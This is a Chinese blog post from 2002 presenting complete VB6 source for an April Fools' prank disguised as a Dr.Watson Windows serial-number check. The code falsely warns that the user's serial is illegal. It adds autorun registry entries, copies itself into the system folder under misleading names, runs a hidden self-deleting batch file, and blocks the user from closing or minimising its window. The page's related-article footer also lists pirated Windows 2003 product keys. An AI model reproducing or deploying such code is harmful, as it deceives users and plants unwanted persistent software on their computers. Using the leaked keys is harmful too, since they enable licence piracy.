序列号检查程序

原创 2002年05月20日 10:04:00

本程序是2002.4.1号写的,大家应该知道是什么日子吧,原来的想法是可以将程序与TXT关联的,但没时间去修改了。程序跟上次的“辨断你的Windows是正版还是盗版 ”差不多,但这个可以在2K/XP里用的:)

VERSION 5.00
Begin VB.Form frmMain
   BorderStyle     =   3  'Fixed Dialog
   Caption         =   "Dr.Watson"
   ClientHeight    =   2190
   ClientLeft      =   45
   ClientTop       =   330
   ClientWidth     =   6120
   Icon            =   "frmMain.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   2190
   ScaleWidth      =   6120
   ShowInTaskbar   =   0   'False
   StartUpPosition =   1  'CenterOwner
   Begin VB.Frame Frame
      BorderStyle     =   0  'None
      Caption         =   "Frame1"
      Height          =   2175
      Left            =   0
      TabIndex        =   0
      Top             =   0
      Width           =   6135
      Begin VB.Frame Frame2
         BorderStyle     =   0  'None
         Caption         =   "Frame2"
         Height          =   1695
         Left            =   4560
         TabIndex        =   11
         Top             =   1680
         Width           =   4575
         Begin VB.Label Label3
            Caption         =   "        注意:如果Dr.Watson检测到输入的序列号错误,将自动返回上一步。"
            Height          =   435
            Left            =   0
            TabIndex        =   14
            Top             =   720
            Width           =   4485
         End
         Begin VB.Label Label2
            AutoSize        =   -1  'True
            Caption         =   "正在验证序列号的正确性,请稍后..."
            Height          =   195
            Left            =   720
            TabIndex        =   13
            Top             =   1320
            Width           =   2835
         End
         Begin VB.Label Label1
            Caption         =   "        正在验证序列号是否正确,此过程可能要花数分钟时间,同时可能导致计算机停止响应。"
            Height          =   375
            Left            =   0
            TabIndex        =   12
            Top             =   240
            Width           =   4575
         End
      End
      Begin VB.Frame Frame1
         BorderStyle     =   0  'None
         Caption         =   "Frame1"
         Height          =   1935
         Left            =   -2640
         TabIndex        =   2
         Top             =   1200
         Width           =   4695
         Begin VB.TextBox txtBox
            Height          =   375
            Index           =   4
            Left            =   3720
            TabIndex        =   8
            Top             =   1080
            Width           =   615
         End
         Begin VB.TextBox txtBox
            Height          =   375
            Index           =   3
            Left            =   2880
            TabIndex        =   7
            Top             =   1080
            Width           =   615
         End
         Begin VB.TextBox txtBox
            Height          =   375
            Index           =   2
            Left            =   2040
            TabIndex        =   6
            Top             =   1080
            Width           =   615
         End
         Begin VB.TextBox txtBox
            Height          =   375
            Index           =   1
            Left            =   1200
            TabIndex        =   5
            Top             =   1080
            Width           =   615
         End
         Begin VB.TextBox txtBox
            Height          =   375
            Index           =   0
            Left            =   360
            TabIndex        =   4
            Top             =   1080
            Width           =   615
         End
         Begin VB.CommandButton cmdSure
            Caption         =   "确定(&O)"
            Height          =   375
            Left            =   3240
            TabIndex        =   3
            Top             =   1560
            Width           =   1095
         End
         Begin VB.Label lblSN
            AutoSize        =   -1  'True
            Caption         =   "请输入正确的序列号:"
            BeginProperty Font
               Name            =   "MS Sans Serif"
               Size            =   9.75
               Charset         =   0
               Weight          =   400
               Underline       =   0   'False
               Italic          =   0   'False
               Strikethrough   =   0   'False
            EndProperty
            Height          =   240
            Left            =   0
            TabIndex        =   10
            Top             =   720
            Width           =   1800
         End
         Begin VB.Label lblTips
            Caption         =   "        注意:Dr.Watson检测到非法的Windows序列号,您可以在随机附送的使用手册里找到正确的序列号,或与经销商联系。"
            Height          =   675
            Left            =   0
            TabIndex        =   9
            Top             =   0
            Width           =   4785
         End
      End
      Begin VB.PictureBox Picture1
         BorderStyle     =   0  'None
         Height          =   495
         Left            =   240
         Picture         =   "frmMain.frx":000C
         ScaleHeight     =   495
         ScaleWidth      =   495
         TabIndex        =   1
         Top             =   240
         Width           =   495
      End
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
''''''''''''''''''''''''''''''''''''''''''''''''''''
'   本程序仅供参考,如造成任何损失本人不负责任。      '
'   oicq:102490                                    '
'   e-mail:skydg@21cn.com                          '
'   主页: http://www.skydg.net                    '
''''''''''''''''''''''''''''''''''''''''''''''''''''
Option Explicit

'读写注册表
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Private Const HKEY_CURRENT_USER = &H80000001
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1

'窗体总在最前
Private Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Const HWND_TOPMOST = -1

'查找系统目录
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Const MAX_PATH = 260

'去掉关闭按钮
Private Declare Function GetSystemMenu Lib "User32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long
Private Declare Function RemoveMenu Lib "User32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long
Private Declare Function DrawMenuBar Lib "User32" (ByVal hwnd As Long) As Long
Private Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Long) As Long

Private Const MF_BYPOSITION = &H400&
Private Const MF_DISABLED = &H2&

Dim ExitButton As Boolean

'取得windows目录
Function GetWinPath()
    Dim strFolder As String
    Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetWindowsDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
        GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
        GetWinPath = ""
    End If
End Function

'取得system目录
Function GetSystemPath()
    Dim strFolder As String
    Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetSystemDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
        GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
        GetSystemPath = ""
    End If
End Function

'文件是否存在
Function FileExists(filename As String) As Integer
On Error Resume Next
    Dim i As Integer
    i = Len(Dir$(filename))
    If Err Or i = 0 Then FileExists = False Else FileExists = True
End Function

'延时
Private Sub delay(ByVal n As Single)
    Dim tm1 As Single, tm2 As Single
    tm1 = Timer
    Do
        tm2 = Timer
        If tm2 < tm1 Then tm2 = tm2 + 86400
        If tm2 - tm1 > n Then Exit Do
        DoEvents
    Loop
End Sub

'去掉关闭按钮
Private Sub DisableX(Frm As Form)
    Dim hMenu As Long, nCount As Long
    hMenu = GetSystemMenu(Frm.hwnd, 0)
    nCount = GetMenuItemCount(hMenu)
    Call RemoveMenu(hMenu, nCount - 1, MF_DISABLED Or MF_BYPOSITION)
    DrawMenuBar Frm.hwnd
End Sub

Private Sub Form_Load()
On Error Resume Next
    Dim mePath As String
    Dim hKey As Long
    Dim strCmd As String
    Dim strRunCmd As String
   
    mePath = App.Path
    If Right(mePath, 1) <> "/" Then mePath = mePath & "/"
   
    If App.PrevInstance Then End
   
    '写入注册表
    strRunCmd = "internet.exe"
    Call RegCreateKey(HKEY_CURRENT_USER, "Software/Microsoft/Windows/CurrentVersion/Run", hKey)
    Call RegSetValueEx(hKey, "system", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)
    Call RegCloseKey(hKey)
   
    strRunCmd = "msints.exe"
    Call RegCreateKey(HKEY_LOCAL_MACHINE, "Software/Microsoft/Windows/CurrentVersion/Run", hKey)
    Call RegSetValueEx(hKey, "MsIDE", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)
    Call RegCloseKey(hKey)

    '复制自己
    Dim SourceFile, DestinationFile
    If FileExists(GetSystemPath & "/internet.exe") = 0 Then
        SourceFile = mePath & App.EXEName & ".exe"
        DestinationFile = GetSystemPath & "/internet.exe"
        FileCopy SourceFile, DestinationFile
       
        SourceFile = mePath & App.EXEName & ".exe"
        DestinationFile = GetSystemPath & "/msints.exe"
        FileCopy SourceFile, DestinationFile
    End If
   
    '检查程序是否在系统目录下
    If UCase$(App.Path) <> UCase$(GetSystemPath) Then
        MsgBox "程序代码不完整或系统出现错误,程序可能已被病毒破坏。", vbOKOnly
        Open GetWinPath & "/killme.bat" For Append As #1
        Print #1, "@echo off"
        Print #1, "dir " & GetSystemPath & " /w"
        Print #1, "del " & mePath & App.EXEName & ".exe"
        Print #1, "del " & GetWinPath & "/killme.bat"
        Close #1
        Shell "killme.bat", vbHide
        End
    End If
   
    '后备程序
    If UCase$(App.EXEName & ".exe") = UCase$("msints.exe") Then End
   
    Frame1.Top = 120
    Frame1.Left = 1080
    Frame2.Top = 120
    Frame2.Left = 1080
    Frame2.Visible = False
       
    Call DisableX(Me)
    '窗体总在最前
    SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top / Screen.TwipsPerPixelY, Me.Width / Screen.TwipsPerPixelX, Me.Height / Screen.TwipsPerPixelY, 0
End Sub

Private Sub Form_Resize()
    '程序被最小化时返回初始状态
    If Me.WindowState = 1 Then Me.WindowState = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
    '禁止程序退出
   If Not ExitButton Then Cancel = True
End Sub

Private Sub cmdSure_Click()
    Frame1.Visible = False
    Frame2.Visible = True
    delay 30
    Frame1.Visible = True
    Frame2.Visible = False
End Sub

Private Sub Label2_Click()
    End
End Sub

健康检查程序

/**  * Bean健康检查接口 */ public interface IBeanHealthChecker {     /**      * 检查checker内部定义bean   ...
  • yiyiNo
  • yiyiNo
  • 2014年10月24日 14:48
  • 485

2.4.4 编译时检查程序

2.4.4 编译时检查程序   使用编译时类型化(using compile-time typing)的最大好处是能防止许多常见的错误,而且编译的代码运行更有效。在函数语言中,还有其他一些好处。最重要...
  • hadstj
  • hadstj
  • 2014年09月04日 10:47
  • 415

python,回文语句判断

python程序如下: import string #测试字符串: "Aman,aplan,acanal--Panama!" "凤落梧桐梧落凤' def reverse(text): #反...
  • SwTesting
  • SwTesting
  • 2017年09月01日 09:52
  • 306

C# 多任务网段扫描练习

创建一个WPF应用程序,用多任务来扫描一个网段内的计算机,根据计算机的IP地址获取其主机名,程序运行结果如下:废话不多说,直接上代码using System; using System.Collect...
  • qq_28602957
  • qq_28602957
  • 2016年09月25日 16:10
  • 2336

C源码的检查程序

任务和代码:【项目5-编程处理C源代码】 在CodeBlocks等IDE中都提供了代码格式整理的功能。我们可以编写程序,处理的数据就是用C写的源代码文件。C源文件是一种文本文件,可以通过程序进行操作...
  • qq_30340877
  • qq_30340877
  • 2016年11月30日 11:26
  • 123

利用VC检测程序内存溢出

VisualC++没有默认启动内存泄露检测,即如果某段代码产生内存溢出也不会在“输出窗口”调试标签下输出内存溢出相关信息(1)需要手工添加代码检测#define _CRTDBG_MAP_ALLOC//...
  • DavinTanger
  • DavinTanger
  • 2011年07月28日 14:14
  • 1349

Windows注册表检查程序

Windows注册表检查程序     注册表是Windows的命根子,如果注册表损坏了,轻则导致程序运行出错,严重的则会使整个系统崩溃,因此我们要经常做好注册表的检查和维护工作,以保证注册表的安全。在...
  • ww163
  • ww163
  • 2006年02月23日 17:37
  • 1218

字符串匹配之三:拼写错误检查程序

有了字符串匹配的功底,拼写错误检查也是手到擒来。引入编辑距离的概念,就可以使用前两篇用到的模块,做一个效率还算可以的拼写错误检查程序了。...
  • gt11799
  • gt11799
  • 2014年10月18日 08:42
  • 983

实用的检查程序(2)

  • zgqtxwd
  • zgqtxwd
  • 2008年04月27日 22:41
  • 179

win2003 序列号 windows2003 sp2可用序列号大全(准版与企业版)

通用性好的win2003序列号: (推荐先用这个里面的)   FJ8DH-TQPYG-9KFHQ-88CB2-Y7V3Y   GRD4P-FTQQF-JCDM8-4P6JK-PFG7M   JD...
  • sam_zhang1984
  • sam_zhang1984
  • 2016年12月06日 10:30
  • 22629
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:序列号检查程序
举报原因:
原因补充:

(最多只允许输入30个字)